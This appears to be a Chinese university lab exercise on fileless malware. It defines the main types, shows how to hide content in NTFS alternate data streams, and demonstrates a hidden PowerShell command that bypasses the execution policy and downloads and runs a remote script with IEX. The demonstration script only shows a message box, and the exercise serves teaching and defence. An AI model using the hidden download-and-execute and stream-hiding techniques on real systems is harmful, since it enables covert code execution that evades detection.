无文件病毒的定义及实践
无文件病毒的定义及实践
实验目的
- 理解无文件病毒的定义及其主要类型。
- 学习并实践利用NTFS数据流文件创建ADS数据流文件。
- 使用PowerShell实现远程下载与隐匿执行脚本。
实验环境
- 操作系统:Windows 10 (支持NTFS文件系统)
- 工具:
- 命令提示符 (cmd)
- PowerShell
- 记事本 (Notepad)
- WinHex(用于查看和删除ADS数据流文件)
- 网络服务器 (用于托管远程脚本)
实验内容
1. 无文件病毒的定义及类型
无文件病毒定义
无文件病毒是指不依赖传统文件形式的恶意代码。它利用内存、注册表、合法系统工具(如PowerShell、CMD、NTFS ADS等)执行其功能,从而规避文件扫描型安全软件。
主要类型:
- 灰色工具型:使用合法系统工具或组件如PowerShell、注册表、NTFS ADS。
- 脚本型:使用脚本语言(如VBScript、JavaScript)进行隐匿攻击。
- 潜伏型:将恶意代码隐匿在注册表、WMI或系统库文件中以长期驻留。
- 内存型:病毒仅存在于内存中,无磁盘落地,执行后即从内存中移除。
2. NTFS ADS数据流文件创建及使用
实验步骤
创建附加于宿主文件的ADS数据流文件:
使用以下命令创建一个宿主文件:
1
echo "Hello World" > primary.txt
向宿主文件添加ADS数据流文件:
1
echo "ADS Content" > primary.txt:ads.txt
使用以下命令查看ADS数据流文件:
1
dir /r
打开ADS数据流文件:
1
notepad primary.txt:ads.txt
创建独立的ADS数据流文件:
创建一个独立的ADS数据流文件:
1
echo "Independent ADS Content" > :independent.txt
退至上一级目录,使用
cd ..
查看文件内容:
1
notepad test:independent.txt
若无法删除:
使用WinHex工具定位并删除该ADS数据流文件。(“工具→打开磁盘→选择磁盘”) 没有目录的点(“查看→显示→目录浏览器”)
3. 使用PowerShell远程下载并隐匿执行脚本
实验步骤
创建PowerShell脚本(远程下载测试脚本):
在远程服务器托管一个脚本文件(
test.ps1
),内容如下:1
2
3
4
5
6
7function Read-MessageBoxDialog {
$PopUpWin = new-object -comobject wscript.shell
$PopUpWin.popup("Hello World, Welcome to School of Cybersecurity, GPNU!")
}
Read-MessageBoxDialog修改当前会话的执行策略
在 PowerShell 会话中临时修改执行策略(仅对当前会话有效):
1
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
- Scope 参数:
Process
:仅对当前会话生效,关闭会话后恢复默认。CurrentUser
:仅对当前用户生效。LocalMachine
:对所有用户生效(需要管理员权限)。
永久修改执行策略(需慎重)
如需永久更改执行策略,需使用以下命令(管理员权限):
1
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine
此命令将执行策略设置为 Bypass,本地脚本可执行,远程脚本需签名。
- Scope 参数:
使用PowerShell远程下载并执行脚本:
选择部署的服务器
- 您可以使用以下方式部署服务器:
- 使用本地的简单HTTP服务器(如Python的
http.server
)。 - 使用现有的Web服务器(如Apache、Nginx或IIS)。
- 使用云服务(如AWS、Azure)。
- 使用本地的简单HTTP服务器(如Python的
部署简单HTTP服务器
如果在本地测试,可以使用Python内置的HTTP服务器。
在目标目录中(包含
test.ps1
文件)运行以下命令:1
python -m http.server 8080 --bind 0.0.0.0
说明:
8080
是 HTTP 服务使用的端口。--bind 0.0.0.0
表示服务器绑定到所有可用的网络接口
配置 Windows 防火墙
通过命令行打开防火墙的特定端口(如 8080):
1
netsh advfirewall firewall add rule name="Allow Python HTTP" dir=in action=allow protocol=TCP localport=8080
- 说明:
name="Allow Python HTTP"
是规则名称,可以随意更改。protocol=TCP
指定协议类型为 TCP。localport=8080
指定开放的端口为 8080。
删除规则(如果需要删除该规则):
1
netsh advfirewall firewall delete rule name="Allow Python HTTP"
确认服务器可用
使用浏览器访问:
http://<服务器IP地址>/gpnu.ps1
,确保能够下载gpnu.ps1
脚本文件。
- 您可以使用以下方式部署服务器:
在目标计算机执行以下命令:
1
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -Command "& {IEX(New-Object Net.WebClient).DownloadString('http://10.236.0.54:8080/test.ps1')}"
隐匿执行:
- 使用以下参数隐匿PowerShell窗口:
-WindowStyle Hidden
:隐藏窗口。-NoLogo
:不显示PowerShell启动标志。-NonInteractive
:非交互模式执行。
- 使用以下参数隐匿PowerShell窗口:
实验结果
ADS数据流文件实验结果:
- 成功创建并验证宿主文件附带的ADS数据流文件和独立的ADS数据流文件。
- 使用Notepad和WinHex验证ADS数据流的存在和内容。
PowerShell远程下载与隐匿执行实验结果:
- 成功从远程服务器下载并隐匿执行
test.ps1
脚本,命令行无输出,脚本功能正常执行。
- 成功从远程服务器下载并隐匿执行
实验总结
- 无文件病毒因其无硬盘落地特性,使得基于文件的传统安全防护难以检测。
- NTFS ADS和PowerShell提供了强大的隐匿能力,但也存在被恶意利用的风险。
- 在实际系统中,应通过强化执行策略(如限制PowerShell执行策略)、监控命令使用等手段提升安全性。
注意事项
- 确保实验环境为虚拟机,避免对生产系统产生影响。
- 远程脚本的服务器应具备HTTPS支持以避免被截获和篡改。
附录
- 实验脚本与命令汇总
- ADS创建命令。
- PowerShell远程执行命令。
- 工具与参考文献
- WinHex官方文档。
- PowerShell命令参考。